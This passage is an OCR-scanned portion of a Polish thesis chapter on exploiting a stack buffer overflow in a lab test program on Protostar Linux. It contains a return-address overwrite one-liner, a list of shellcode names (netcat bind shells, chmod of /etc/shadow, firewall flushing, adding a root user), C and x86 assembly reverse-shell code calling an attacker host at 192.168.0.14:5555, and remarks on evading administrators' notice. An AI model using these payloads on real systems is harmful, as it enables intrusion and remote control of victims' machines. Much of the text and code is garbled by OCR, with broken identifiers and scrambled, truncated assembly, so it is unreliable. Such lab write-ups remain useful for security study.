skutek ilosci podanych danych, wykracza poza przeznaczony na niego bufor i modyfikuje dane poza
tym buforem. Jedna z mozliwosci wykorzystania tego faktu na uzytek atakujacego, byto by takie
nadpisanie adresu powrotu z funkcji 1ogin, znajdujacego si¢ pod adresem 0xbffffcbc na stosie,
aby wroci¢ do funkcji bank. W celu zlokalizowania tej funkcji wewnatrz pliku wykonywalnego i
jednoczesnie ustalenie jej adresu wirtualnego, nalezy postuzy¢ si¢ programem objdump dostgpnym
w ramach pakietu binutils. Program ten dokonuje analizy nagtowkow pliku wykonywalnego, a
nastgpnie poprzez przetworzenie tzw. tabeli symboli, ustala adresy wzgledne (RVA, Relative Virtual
Address) liczone od poczatku sekcji kodu programu, do miejsca definicji danego symboli. Nastepnie
poprzez natozenie pewnej korekcji wzgledem adresu bazowego zaladowanego programu, ustalany
jest ostateczny, bezwzgledny adres wirtualny (VA, Virtual Address). Adresy te przedstawiono na
listingu 3.10. w pierwszej kolumnie, w ramach sekcji SYMBOL TABLE:
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root@protostar:/home/inz# objdump -t bank
bank: file format el£32-i386
SYMBOL TABLE:

08048380 1 d .text 00000000 .text

080496b0 1 d .data 00000000 .data
080496b8 1 d .bss 00000000 .bss
08048448 g F .text 0000003d login
08048434 g F .text 00000014 bank
08048485 g F .text 00000033 main
080482e4 g F .init 00000000 _init

Listing 3.10. Zrzut tablicy symboli programu bank. Zrodto: opracowanie wlasne.

Jak zauwazy¢ mozna na listingu 3.10., adresem interesujacej funkcji bank jest 0x08048434.
Zatem, na stosie w odpowiednim miejscu atakujacy bedzie chciat wpisa¢ wihasnie te wartosc.
Jednakze, jest pewien szkoput. Architektura PC/x86, obstuguje pewien sposob odktadania danych w
pamieci nazywany little endian. Schemat ten charakteryzuje si¢ zapisem statych podwojnych stow
w kolejnosci od najmniej znaczacego bitu do najbardziej znaczacego, a wiec de facto zapisywana
jest odwrocona kolejnosé bajtow. Przedstawia to rysunek 3.5:

Register Register
QAEO BAO:CZ'olQ Memory Memory QAEO 840:(:20 Dn
—> Bl |opl<—

B 0B <—
— > % oG <——
> 07'6?3 Ooq - .
Little-endian : E Big-endian

Rysunek 3.5. Rozréznienie na Little Endian i Big Endian. Zrédlo: wikimedia.org

W zapisie big endian, dane sg upakowane w pamieci w sposob naturalny, w nastepujacej po sobie
kolejnosci. Odwrotnie jest w przypadku little endian. W praktyce sprowadza si¢ to do koniecznosci
podania warto$ci ktora chce si¢ wpisa¢ na stosie, w odwrotnej kolejnosci, uporzadkowujac po
bajtach.

W efekcie, adres: 0x08048434 zapisa¢ mozna jako \x34\x84\x04\x08 — korzystajac przy
tym z zapisu konkretnych bajtoéw osadzonych w ramach ciagu tekstowego rozpoznawalnego przez
przer6zne jezyki programowania, jak np. wykorzystywany w tej pracy jezyk Python — stosowany
podczas budowania strumienia danych atakujacych. Zatem, niezb¢dny do zbudowania zbior bajtow
bedzie na pewno sktadat si¢ z 40 bajtow stosowanych jako wypelnienie, nastepnie cztery bajty, ktore
postuzg do nadpisania rejestru EBP — w zasadzie, rowniez mogg to by¢ arbitralne wartosci, z uwagi
na fakt, ze nie interesuje mnie ani poprawne odtworzenie poprzedniej ramki funkcji, ani tez
utrzymanie programu bez jego awarii (w tym akurat przypadku). Majac juz bufor atakujacy o
wielkos$ci 44 bajtow, doda do niego ostatnie cztery bajty, ktore nadpisza ostatecznie adres powrotu.
Bajtami tymi beda wymienione \x34\x84\x04\x08, stanowigce adres funkcji bank. Na listingu
3.11. mozna zobaczy¢ jak program zareaguje na takie dane wejsciowe:
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root@protostar:/home/inz# ./bank “python -c 'print "A"*44+4"\x34\x84\x04\x08"'"
Welcome to your bank account
Segmentation fault (core dumped)

root@protostar:/home/inz#

Listing 3.11. Udany atak na testowanq aplikacje. Zrédlo: opracowanie wlasne.

Listing 3.11. przedstawia sposob przekazania programowi na wej$ciu takiego ciggu danych, ktory
najpierw spowoduje awarie programu poprzez zepsucie struktury stosu, a nastgpnie wskutek
dalszych ingerencji, kierunek wykonania programu przeniesiony zostanie do wnetrza funkcji bank,
do ktorej dostep atakujacy chcial uzyskaé, nie znajagc poprawnego hasta. Z uwagi na uszkodzona
ramke poprzedniej funkcji, program zakonczy swoje dziatanie na skutek wygenerowanego wyjatku.
W tym momencie dla atakujacego moze to juz by¢ nie istotne, efekt zamierzony wykonat. W
przypadku atakowania prawdziwych systemow, bedzie to jeden z problemow, ktore atakujacy bedzie
musial rozwigza¢ — przygotowanie takiego zestawu danych wejsciowych, ktére doprowadza do
udanego ataku, a przy tym nie uszkodza programu. Takie uszkodzenie mogloby by¢ wysoce
niepozadane, gdyz na serwerach produkcyjnych natychmiast zwrocitloby uwage administratoréw i
mogtoby doprowadzi¢ do dekonspiracji i odkrycia ataku, zas w przypadku komputerow i urzadzen
prywatnych, mogloby wzbudzi¢ podejrzliwos¢ co bardziej technicznych uzytkownikéw. Inng
mozliwos$cig naduzycia omawianego btedu moglaby by¢ taka preparacja danych wejsciowych, aby
adres ramki funkcji, adres powrotny do funkcji main, pozostaly ustalone takie jak pierwotne,
nadpisana za$ zostala by zmienna authorized znajdujaca si¢ pod adresem Oxbffffccd,
ukazanym na rysunku 3.8. Kazda warto$¢ tamtej komorki rézna od zera, spowodowataby przejscie
do funkcji bank. Ten atak jednakze bylby wysoce niepraktycznym z uwagi na trudno$¢ w ustaleniu
pozadanej wartosci adresu poprzedniej ramki funkcji. Trudnym mogloby si¢ ukaza¢ ukonczenie
programu w sposob stabilny.

Innym sposobem naduzycia znalezionej podatnosci jest wykorzystanie tzw. shellcode’u (kodu
powloki). Kodem powtloki bedziemy nazywacl ,,zbior rozkazow wstrzykiwanych do atakowanego
programu, a nastepnie przez niego wykonywanych” [24]. Kod ten dokonywa¢ bedzie bezposrednich
manipulacji na rejestrach i funkcjach programu, dlatego tez musi zosta¢ wprowadzony w postaci
ciggu bajtow (szesnastkowo), ktore reprezentowac beda kody rozkazéw w architekturze x86. Z
uwagi na fakt, ze shellcode zostanie przekazany programowi na wejsciu, tak by aktywowaé
znaleziong podatnos¢, oraz ze bajty tego fadunku bedg kopiowane przez funkcje strcpy — nalezy
si¢ upewnié, by 6w kod nie zawieral bajtow zerowych. Takie bajty natychmiast przerwaty by
kopiowanie ciggu danych do docelowego bufora, zgodnie z przeznaczeniem kopiowania stringu,
ktory wszak konczy si¢ bajtem zerowym. Zanim jednak zajme si¢ tym problemem, najpierw nalezy
ustali¢ sposob w jaki ten shellcode faktycznie zosta¢ powinien zaimplementowany. By rozwigzaé
drugi problem nalezy odpowiedzie¢ na pytanie, CZeg0 oczekiwaé bedziemy od shellcode u. Istniejg
rozne przyktadowe sekwencje wywotan, ktore wykorzystuje si¢ w celach zaatakowania systemu
operacyjnego na skutek naduzycia podatnos$ci bezpieczenstwa. Najbardziej klasycznymi rodzajami
takich sekwencji, sg kody uruchamiajgce powtoke systemowa (ang. shell), po to by przekaza¢ dostep
do niej atakujacemu. Stad nazwa shellcode. Inne rodzaje wektorow atakujacych moga np.:

e Prébowac nawigzaé, w sposdb aktywny, potaczenie ze zdalnym komputerem, ktory moze
si¢ okaza¢ komputerem atakujgcego, w celu pozniejszego przekierowania wejscia i
wyjécia danego socketu’. Wykonanie takiego kodu zestawi polgczenie maszyny
atakujacego z maszyna ofiary, w efekcie udostgpniajac atakujacemu lini¢ polecen

9 Socket — specjalny rodzaj zasobu, ktéry w systemie operacyjnym kojarzy nawigzane polaczenie lokalnego komputera ze
zdalnym, na odpowiednim porcie lokalnym i zdalnym. Przy pomocy tego obiektu, system operacyjny oraz aplikacje, moga
prowadzi¢ komunikacje.
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systemu, co prowadzi do zdalnego przejecia kontroli nad maszyng. Zaleta aktywnego
polaczenia z maszyna atakujacego jest zdolnos$¢ do przejscia regut zapor ogniowych. Jesli
dana sie¢ stosuje taki mechanizm obronny, to najczesciej jego konfiguracja przewiduje
odmawianie zestawiania polaczen zdalnych maszyn z lokalng, filtrowana, na
niezdefiniowanych w ramach regul zapory portach. W sytuacji jednak, kiedy to lokalna
maszyna nawigzuje potaczenie ze zdalna, ruch wychodzacy (ang. egress traffic) jest
najczesciej przepuszczany bez dalszych inspekcji. Kody takie nazywane sa Reverse
Shell’ami.

e Otwiera¢ port na lokalnej maszynie i rozpocza¢ nastuchiwanie na tym porcie w celu
oczekiwania na potgczenia zdalnych maszyn. Zdalng maszyng bedzie w tym przypadku
maszyna atakujacego. Nastepnie po zestawieniu polaczenia, kod taki przekazuje dostep
do lokalnie uruchomionej linii polecen. Sytuacja podobna jak w pierwszym podpunkcie,
z tymze tutaj w wersji pasywnej, w ktérej to lokalny komputer nashuchuje. Takie
rozwigzanie jednak pociaga za sobg ryzyko zablokowania przychodzacych potaczen na
skutek odpowiednich regut zapor ogniowych. Ponadto do$¢ tatwo daje si¢ namierzy¢
nastuchujaca aplikacje na danym porcie, przez co stosunkowo tatwo administrator
systemu mogtby wykry¢ potencjalne wlamanie. Kody takie nazywane sg Bind Shell ami.

e Tworzy¢ lokalne konto administratora o z géry okreslonym loginie i hasle. Dzieki temu
atakujacy tworzy tylng furtke do systemu (ang. backdoor), umozliwiajac zalogowanie si¢
w systemie z prawami np. administracyjnymi.

e Uruchamia¢ w systemie lokalnym serwer danej ustugi, jak np. VNC. Protokot VNC
implementuje funkcjonalno$¢ udostepniania pulpitu oraz dost¢p do urzadzen kontroli
komputera tj. mysz czy klawiatura, na lokalnej maszynie. Dzigki temu, administratorzy
z roznych lokalizacji na $wiecie sg w stanie logowaé si¢ do maszyn pracownikow i
naprawia¢ im problemy z komputerem. Ten sam protokot moze jednak pozwoli¢
atakujacemu uzyskac¢ nie tyle dostep do linii polecen maszyny, co wrecz catej warstwy
graficznej.

e Dokona¢ zaplanowania okreslonego zadania, jak np. pakowania pewnych plikow i
wysylania ich na zdalny serwer, kontrolowany przez atakujacego, zgodnie z pewnym
interwatem czasu.

e Pobra¢ z zewnetrznego serwera i nastepnie uruchomié/zainstalowaé na lokalnej maszynie
zdalnie dostepnego wirusa komputerowego, ktéry utrzyma dostep do maszyny
atakujacemu, a jednoczes$nie bedzie zdolny do wykonywania zaimplementowanych
funkcji, jak np. wykonywania polecen propagowanych w ramach tzw. botnetu — sieci
zainfekowanych maszyn stosowanych do wykonywania rozproszonych atakow
komputerowych.

Dla przykladu, strona shell-storm'® zawiera kolekcje kilkuset kodow powloki, w przerdznych
mozliwych wariacjach, na bardzo zr6znicowane platformy — Linux x86/x64, SPARC, MIPS, ARM,
Windows, OSX, Net/Free/Open BSD, Solaris, PPC, Super-H, Irix, HP-UX, AIX, Alpha, itd. Dla
naszych potrzeb, by zaatakowa¢ maszyne Linux 86, mozna by skorzysta¢ z jednego z prawie 300
shellcode’ow, tak jak przedstawia ponizsza tabela. Czcionka pogrubiong zostaly oznaczone
przyktadowe shellcode’y 0 wykorzystaniu zdalnym:

Add map in /etc/hosts file Shell Reverse TCP Shellcode
Obfuscated - chmod({passwd, shadow}) - add Shell Bind TCP Shellcode Port 1337
new root user - exec /bin/sh sockfd trick +

setreuid() + exec /usr/bin/python dup2 (0,0) ,dup2(0,1),dup2(0,2) + execve
chmod + Add new root user with password + /bin/sh

exec sh shutdown -h now

10 http://shell-storm.org/shellcode/
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chmod 0777 /etc/shadow (a bit obfuscated) SET IP() Connectback Shellcode

Shellcode SET PORT () portbind

/bin/nc -le /bin/sh -vp 17771 netcat bindshell port 8080

JMP-FSTENV execve shell netcat connect back port 8080
shift-bit-encoder execve adds a root user no-passwd to /etc/passwd
Copy /etc/passwd to /tmp/outfile chmod (//bin/sh ,04775); set sh +s
jump-call-pop execve shell execve () /bin/ash; exit;

Download + chmod + exec setuid(); execve(); exit();

reads /etc/passwd and sends the content to setreuid (0, 0) + execve(/bin//sh,
127.1.1.1 port 12345 [/bin//sh,

Mult dup2 (0,0); dup2(0,1); dup2(0,2);
Obfuscated tcp bind shell exit (1)

Obfuscated execve /bin/sh if (read(fd,buf,512)<=2) exit(l) else
egghunter shellcode by Russell Willis Surprise ! ! !

Reverse TCP bind shell Write FS PHP Connect Back Utility

Set /proc/sys/net/ipv4/ip forward to 0 & Shellcode

exit () Bind TCP Port - with SO_REUSEADDR set
TCP bind shell (Avoiding SIGSEGV)

Encrypted execve /bin/sh with uzumaki Shell Bind TCP Random Port

algorithm Shell Reverse TCP Shellcode

Mutated Execve Wget Password Authentication portbind port
Mutated Fork Bomb 64713/tcp

Mutated Reboot portbind port 64713

Tiny read /etc/passwd file setreuid(0,0) + execve (/bin/sh, [/bin/sh,
Tiny Execve sh Shellcode NULL])

Insertion Decoder Shellcode setuid (0) setgid(0) execve ("/bin/sh",
Egg Hunter Shellcode ["/bin/sh", NULL])

Tiny Shell Reverse TCP Force Reboot shellcode

Tiny Shell Bind TCP Random Port Remote Port forwarding

Tiny Shell Bind TCP execve /bin/sh shellcode

Shell Bind TCP (GetPC/Call/Ret Method) execve-chmod 0777 /etc/shadow

append /etc/passwd & exit () iptables --flush

unlink (/etc/passwd) & exit () ASLR deactivation

connect backé&send&exit /etc/shadow chmod 666 /etc/passwd & /etc/shadow
execve read shellcode execve (/bin/sh)

egghunt shellcode ///sbin/iptables -POUTPUT DROP

nc -lvve/bin/sh -pl13377 /etc/init.d/apparmor teardown

/bin/sh Null-Free Polymorphic /usr/bin/killall snort

execve () Diassembly Obfuscation Shellcode

Jak wigc mozna zauwazy¢, jest wiele mozliwych zatozen, ktore potencjalny shellcode moglby
zrealizowa¢. Decyzja atakujacego bedzie, na jaki si¢ zdecyduje. Na decyzje te wplynie fakt, czy
atakujacy chce uzyskaé¢ natychmiastowy, interaktywny dostep do maszyny, czy tez moze zalezy mu
wylacznie na zainfekowaniu jej i dotgczeniu do sieci kontrolowanych przez siebie maszyn. By¢ moze
atakujgcy ma na celu wykorzystanie dostepu do tej maszyny dopiero za jakis czas, kiedy przyjdzie
na to pora. W ten sposob uniknie potencjalnego wykrycia.

Zaimplementuje w dalszej cze$ci tego podrozdziatu przyktadowy shellcode, ktéry zostanie
wykorzystany do ataku na system operacyjny poprzez btad naduzycia pamieci stosu. Zanim jednak
do tego przejdg, omowie hipotetyczny, przyktadowy scenariusz oraz konfiguracje systemu, ktorego
mam zamiar atakowac.

Linux protostar 2.6.32--686 #1 SMP.
Debian GMU/Linux 6.0 Squeeze. IP:
192.168.0.1%

—

Windows 8.1 x64,
192.1658.0.14

192.168.0.1

.

Router

Atakujacy. Ofiara

Rysunek 3.6. Prosta architektura sieci przedstawiajgca polozenie atakujgcego i ofiary. Zrédlo: opracowanie
wlasne.
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Na rysunku 3.6 przedstawiono bardzo prostg architekture sieciowa, w ramach ktorej atakujacy
rezyduje w sieci lokalnej wraz z komputerem ofiary, ktéra bedzie celem ataku. Naturalnie w
przypadku prawdziwych atakow, prowadzonych w ramach codziennych operacji bezpieczenstwa,
czesto lokalizacja atakujgcego wzgledem ofiary moze wyglada¢ duzo bardziej skomplikowanie.

Sprint Single T1 — g“
A

N

N
§ ATARUJACY
i i i g % Cisco Router 1841
FWIVPN
i HP Switch (white)

I Ecometry Server
Gigabit Switch \%

g °* @

Users Drive

192.168.100.8 SQL Server

192.168.100.11
Exchange Server
192.168.100.9

App Server
192.168.100.14

P

Department Server
192.168.100.10

DB Server

-1

. 192.168.100.15
DELL RSERV
TestPCO1 192.168.100.4 192.168.100.6
192.168.100.14

OFIARA

Rysunek 3.7. Hipotetyczna infrastruktura sieci, ktéra mogta by pasé ofiarg ataku. Zrédlo: opracowanie
wlasne.

Przyktadowa sie¢ ukazana na rysunku 3.7, mogtaby naleze¢ do firmy majacej swoje biura w wielu
roznych lokalizacjach. Atakujacy moglby dokona¢ ataku na pojedynczy serwer w ramach
infrastruktury sieciowej danej organizacji. Nastgpnie metodami rekonesansu i skanowania sieci
mogtby wydedukowaé wyglad jej topologii. Na przyktadzie sytuacji z rysunku 3.18, atakujagcemu
udato si¢ przejsc filtracje zapory ogniowej na styku infrastruktury organizacji z Internetem, poprzez
zwrotne potaczenie, ktére maszyna bedgca ofiarg miata wykonaé. Ostatecznie, niewaznym jest
poziom rozbudowania infrastruktury, bedacej celem ataku, waznym jest jedynie by udato si¢
nawigzac tunel pomi¢dzy maszyna atakujacego i maszyna, ktora jako pierwsza padnie ofiarg ataku.

3.3. Atakowanie systemu Linux/x86 — przepelnienie bufora na stosie
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W poprzednim podrozdziale ustalono, ze oczekiwany shellcode (kod powfoki), po swoim
uruchomieniu, bedzie mial nawigzywac¢ polaczenie zwrotne do maszyny atakujacego. W naszym
przypadku docelowym adresem bedzie 192.168.0.19, za$ portem docelowym: 5555. Aby kod
powloki si¢ wykonal, atakujacy bedzie musiat wygenerowac bufor, zawierajacy najpierw stosowne
wypelnienie, nastepnie odpowiednie cztery bajty bedace adresem powrotu z funkcji 1ogin — W tym
przypadku adresem shellcode’u na stosie, ktory ma przejaé wykonanie. Tuz za tymi czterema
bajtami znajdzie si¢ nasz shellcode, poprzedzony ciggiem bajtoéw implementujacych rozkaz NOP.
Dlaczego tak? Zanim wyjasnie¢ ich znaczenie, prosze przyjrzec si¢ ponizszemu diagramowi stosu:

Adres Zawartosé stosy OXBFFFFFFF - wysokie adresy stosu
e EREIIETIE Ciag bajtow zwany "NOP Sled”, majacy na
Z Oxbffffce 80805030 celu "zeslizgnat” procesor prosto na
2 . .
S OXbEEEECCS 90909090 poczatek naszego ;he]l;m_ie u. Be.fiﬂe e
g b EEEECCD FRFTETAT bufor wypeliony bajtami §x90 (rozkaz NOP)
=
§ Oxbffffche Oxbffff?27? ADRES POCZATKU NASZEGO SHELLCODE'u
g Oxbffffchs Aaaaaaaa
g Oxbffffch4 Aaaaaaaa
E AAAAAAAD
Anaananz tablica zadeklarowana w lokalnym
zakresie zmiennych w funkcji login, o typie:
Addaaaaa char buffer[32];
Oxbffffecs Aaaaaaaa
E Oxbffffc94 Aaaaaaaa
4§ Oxbffffchc Aaaaaaaa
% OxbffffcBE oass
o
_2— OxbEffffcB4 Oxbffffcs8
% OxbffffecB0 odres stofej "secret”
-;g Oxbffffc7e Ooxbffffcos
OxbEfffc78 nigistotna wartosé
OxbEfEfcT4 nigistotna wartosc
0xB0000000 - niskie adresy stosu

Rysunek 3.8. Diagram stosu w momencie ataku na aplikacje. Zrédlo: opracowanie wlasne.

Na rysunku 3.8, bufor, ktory bedzie celem ataku, znajduje si¢ pod adresem Oxbffffcsc.
Interesujgce pole, adres powrotu z funkcji, za$§ pod adresem oxbffffcoc. Oznacza to, ze nalezy
wygenerowa¢ Oxbffffch8 - Oxbffffc8c = 44 bajty, ktore potrzebne beda, aby wypehic
przestrzen od poczatku bufora az do bajtu tuz przed adresem powrotu. Nastepne cztery bajty,
zapisane w kolejnosci little endian, beda wskazywaé na adres poczatku shellcode’u w pamieci
stosu. Niestety, z uwagi na to, ze cigzko jest przewidzie¢ pod jakim faktycznie adresem znajdzie si¢
nasz bufor na stosie (tutaj pod adresem oxbffffcsc), totez nie mamy wzglednie zadnej skutecznej
metody estymowania, gdzie znajdzie si¢ pierwszy bajt shellcode’u. W tym przypadku, w oparciu
o diagram 3.8, adresem poczatku shel1code’ u mogtby by¢ pierwszy bajt tuz za nadpisanym adresem
powrotu, a wigc Oxbffffcc0. Mozna zatem okresli¢, ze znajac adres poczatku kontrolowanego przez
atakujacego bufora, ustalony bedzie adres rowny adres_bufora + 52. Aby zatem uporac si¢ z tym
problemem, wykorzysta¢ nalezy technike znang jako NOP Sled. Technika ta polega na poprzedzeniu
shellcode’u stosowng sporg iloscig powtdrzonych bajtow 0x90, ktore sg pod architekturg x86
traktowane jako instrukcje procesora nop (No Operation). Instrukcje takie nie wykonujg niczego,
poza ,,zmarnowaniem” taktu procesora. W naszym przypadku postuza one jako wypetniacz, po
ktorym procesor si¢ ,,zeslizgnie” do poczatku omawianego kodu.
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Oznaczajac adres poczatku wypetnienia bajtami NOP jako Anop, za$ dlugos$¢ tego wypelnienia
(ilos¢ powtorzen bajtu nop) jako Lnop, mozna teraz bezpiecznie podaé adres poczatku uzytego
shellcode’u, a wigec jednocze$nie adres powrotu z funkcji login, jako warto§¢ z przedzialu
(Ayop, Anop + Lyop) gdyz w tym przedziale znajdowac si¢ bedg instrukcje nop, ktore pokieruja
procesor na pierwszy bajt kodu powloki. Rysunek 3.19 prezentuje takie wypetnienie bajtami 0x90.
Ostatecznie, bufor danych wej$ciowych bedzie miat nastepujacg postac:

‘ AAAA . . . AAAA ‘ Vx4 0\ xfd\xff\xbf 90909090 . . . 90909090 Kod powioki

44 bajty 4 bajty zmienna dhugosé diugoéé zaleina od kodu powloki

Rysunek 3.9. Struktura danych wejsciowych generujgcych udany atak. Zrédlo: opracowanie wlasne.

W podanej na rysunku 3.9. strukturze, zatozono, ze adresem shellcode’u bedzie warto$¢
0xbffffd40 (zapis przedstawiony na diagramie zostat juz poddany transformacji do formatu little
endian). Wobec tego, nasz NOP Sled powinien by¢ na tyle dtugi, by od adresu tuz za wartoscig adresu
powrotu, do poczatku shellcode’u wypehit odpowiednio przedpole. Dlugos¢ kodu powtoki na tg
chwile nie jest okreslona, gdyz jeszcze nie napisany zostat stosowny kod.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

int main ()
{
int sockfd;
int remoteport = 5555;
const char *remote addr = "192.168.0.14";
struct sockaddr in serv;
char *sh[] = {"/bin/sh", 0};
char *env([] = {0};

sockfd = socket (AF_INET, SOCK STREAM, IPPROTO TCP);
serv.sin family = AF INET;

serv.sin addr.s_addr = inet addr (remote_addr);
serv.sin port = htons(remoteport);

memset (& (serv.sin zero), 0, 8);

int ret = connect (sockfd, (struct sockaddr *)&serv, sizeof (struct sockaddr));
if(ret != 0)

{

fprintf (stderr, '"[!] Couldn't connect: $%x\n", errno);
return O;

}

dup2 (sockfd, 0);
dup2 (sockfd, 1);
dup2 (sockfd, 2);

execve (sh[0], sh, env);

}
Listing 3.12. Shellcode, ktory bede wstrzykiwaé do atakowanego programu. Zrédlo: opracowanie wlasne.

Przedstawiony kod na listingu 3.12. najpierw przygotowuje odpowiedni socket w systemie w celu
nawigzania polaczenia ze zdalng maszyna. Jak przedstawiono na tym listingu, potaczenie to bedzie
dotyczyly stosu Tcp/1p, za$ maszyna docelowg bedzie komputer znajdujacy si¢ pod adresem

56



192.168.0.14:5555. Jest to oczywiscie adres maszyny atakujacego. Nastepnie po utworzeniu
socketu program poprzez wywotanie funkcji connect stara¢ si¢ bedzie otworzy¢ potaczenie (w
wyniku wymiany pakietow syN, SYN+ACK I ACK) . Je§li maszyna atakujacego nie odpowie stosownym
pakietem syn+ack, implementacja funkcji connect, w systemach operacyjnych Linux, sprobuje
powtodrzy¢ kilkukrotnie wystanie pakietu syn i jesli zadna z tych prob nie powiedzie, funkcja zwrdci
blad, za$ program si¢ zakonczy. Wywotania funkcji dup2 powoduja duplikacj¢ uchwytow do
deskryptorow standardowych strumieni wejscia, wyjscia i btedu. Dzigki temu, uzyskany zostanie
efekt przekierowania tych strumieni poprzez utworzony socket. Ostatecznie program wywoltuje
powloke systemowa /bin/sh.

W celu przetestowania dziatania tego programu, skompiluje¢ go, oraz uruchomi¢ na maszynie
atakujacego serwer oczekujacy na potaczenie pod wskazanym portem (5555, W celu postawienia
serwera nastuchujgcego na danym porcie, postuze si¢ programem ncat!?). Ostatecznie na maszynie
ofiary uruchomie przedstawiony na listingu 3.12. program, by sprawdzi¢ czy faktycznie potaczenie
zostanie nawigzane i udostepniona zostanie powtoka systemowa. Rysunek 3.10 przedstawia wynik
tego testu. Gorny terminal, jako maszyna ofiary, najpierw prezentuje wersj¢ systemu, oraz
charakterystyke interfejsu sieciowego. Nastepnie przeprowadzana jest kompilacja programu, jego
uruchomienie. W tym momencie nawigzywane jest polaczenie z nashuchujagcym serwerem
przedstawionym na terminalu dolnym. Program ncat informuje o nadchodzacym potaczeniu.
Nastepnie atakujacy wpisuje komendy wewnatrz swojego terminala. Znak zachgty linii polecen nie
jest przesylany, ale to nie utrudnia dziatania. Kolejne komendy udowadniajg mozliwo$¢ dostepu
atakujacego do linii polecen zdalnego systemu. Ostatecznie atakujacy zamyka sesje poleceniem
exit, co konczy dziatanie programu . /rev Nna maszynie ofiary.

Przygotowany program, przedstawiony na listingu 3.12 poprawnie realizuje swoja
funkcjonalno$¢. Jednakze, z uwagi na fakt, ze zostal on napisany w jezyku ,,wyzszego” poziomu,
jakim jest jezyk C, oraz kompilator ccc dolinkowat podczas generacji pliku wykonywalnego rozne
biblioteki, ktore sg tadowane dynamicznie przed wykonaniem si¢ programu, nie moge postuzy¢ sie
otrzymang z tego kodu binarka jako kodem powtoki. Bede musiat wygenerowaé¢ odpowiednik w
kodzie assemblera, ktéry nie bedzie korzystat z zadnego symbolu rozwigzywanego dynamicznie
podczas tadowania programu przez system.

root@protostar:/home/inz# 1dd ./rev
linux-gate.so.l => (0xb7£e4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/1lib/1ld-1linux.so0.2 (0xb7fe5000)

W wyjsciu polecenia 1dd znajduje si¢ lista dynamicznie tadowanych przez ten program bibliotek.
Kazda z nich nie begdzie mogla zosta¢ zaladowana podczas uruchamiania wstrzyknigtego kodu
powloki, dlatego przygotowany alternatywny kod powtoki musi si¢ bez nich oby¢.

! https://nmap.org/ncat/
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Edl [4/4] cmd - ncat -klv 5555 (Admin)

#1 SMP Mon 3 84:15 ;24 C 11 GHU/Linux

Rysunek 3.10. Test programu nawiqzujgcego potgczenie z maszyng atakujgcego. Na gorze widok terminala
maszyny ofiary, na dole terminal atakujgcego. Zrédto: opracowanie wiasne.

W celu wywotania z poziomu kodu asemblerowego zadanej funkcji systemowej, jaka moze by¢
np. execve, socket, connect, dup2 — wykorzysta¢ bedzie trzeba przerwanie systemowe, jakim
jest int 0x80. Instrukcja przerwania spowoduje wygenerowanie przez procesor wyjatku przerwania,
a nastepnie przekierowanie przeptywu wykonania do procedury obstugujacej te konkretne
przerwanie, 0 zadanym numerze (tutaj 0x80). Wywotang funkcjg bedzie procedura obstugi tzw.
syscalli czyli wywotan systemowych. Wywolanie tego przerwania, z odpowiednio ustawionym
numerem funkcji w rejestrze a1, skutkowaé bedzie wykonaniem, przez jadro systemu operacyjnego,
danej funkcji systemowej z parametrami znajdujacymi sie w rejestrach: ebx, ecx, edx, itd.

Aby  sprawdzi¢ list¢ przerwan systemowych, mozna postuzyé sie  plikiem
/usr/include/asm/unistd 32.hi

#ifndef ASM X86 UNISTD 32 H
#define _ASM X86_UNISTD 32 H

/*

* This file contains the system call numbers.
*/

#define _ NR restart syscall 0

#define  NR exit
#define _ NR fork
#define  NR read
#define NR write
#define  NR open

g w N
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#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define

#define
#define

__NR unlink 10
__NR execve 11
__NR chdir 12
__NR chroot 61
__NR ustat 62
__NR dup2 63
~ NR getppid 64
__NR getpgrp 65
__NR_fstatfs 100
~ NR ioperm 101
__NR socketcall 102
__NR syslog 103
__NR_setitimer 104
__NR preadv 333
__NR pwritev 334
~ NR rt tgsigqueueinfo 335

__NR perf event open336

#endif /* _ASM X86 UNISTD 32 H */

Listing 3.13. Definicje numeréw SYSCALLI. Zrédlo: GN/LINUX: /usr/include/asm/unistd_32.h

Funkcje interfejsu socketéw obshugiwane sg przez wywotanie socketcall (102), ktore w

rejestrze  BL

przyjmuje  numer  konkretnej  funkcji (specyfikacia ~w  pliku

/usr/include/linux/net.h):

/
NET

Version:
Authors:

L S e T A S N

~

An implementation of the SOCKET network access protocol.
This is the master header file for the Linux NET layer,
or, in plain English: the networking handling part of the
kernel.

@(#)net.h 1.0.3 05/25/93

Orest Zborowski, <obz@Kodak.COM>

Ross Biro

Fred N. van Kempen, <waltje@uWalt.NL.Mugnet.ORG>

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version
2 of the License, or (at your option) any later version.

#ifndef LINUX NET H
#define LINUX NET H

#define SYS SOCKET 1 /* sys_socket (2) */
#define SYS BIND2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect (2) */
#define SYS LISTEN 4 /* sys_listen(2) */
#define SYS ACCEPT 5 /* sys accept (2) */
#define SYS SENDY /* sys_send(2) */
#define SYS RECV10 /* sys_recv(2) */

#endif  /* LINUX NET H */

Listing 3.14. Definicje numeréw SOCKETCALLi. Zrédlo: GN/LINUX: /usr/include/linux/net.h

Zatem, majac dane numery funkcji systemowych, mozna przygotowa¢ kod assemblerowy
implementujacy doktadnie ta samg funkcjonalno$¢, co kod przedstawiony na listingu 3.12:

bits 32

global start
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section .text

_start:

; Ponizszy kod
XOor eax, eax
xor ebx, ebx
XOr ecx, ecx
xor edx, edx
mov al, 0x66
mov bl, 1
push ecx
push byte 6
push byte 1
push byte 2

ma za zadanie utworzenie socketu.

socketcall ()
socket () dla socketcall

IPPROTO TCP
SOCK STREAM
AF _INET

mov ecx, esp

int 0x80 ; Przerwanie systemowe

mov esi, eax ; eax zawiera uchwyt socketu
; Nawiazanie polaczenia ze zdalnym hostem

mov al, 0x66

xor ebx, ebx

mov bl, 0x02
push 0x0e00a8c0
push word 0xb315
push word bx

inc bl

mov ecx, esp
push byte 0x10
push ecx
push esi
mov ecx,
int 0x80

esp

Adres: 192.168.0.14 (little endian)
; zdalny port (5555)
funkcja connect ()
; ecx adres struktury sockaddr

’

Wywolanie funkcji connect ()

’

; Duplikacja uchwytow standardowego strumienia

; wejscia,
mov ebx,
XOor
mov
dupfd:
dec
mov
int
jne

esi
ecx
3

ecx,
cl,

cl

al, Ox3f
0x80
dupfd

’

call callexec
db "/bin/sh",
dd 0, O
callexec:
pop
lea
lea
mov
int

OV

ebx

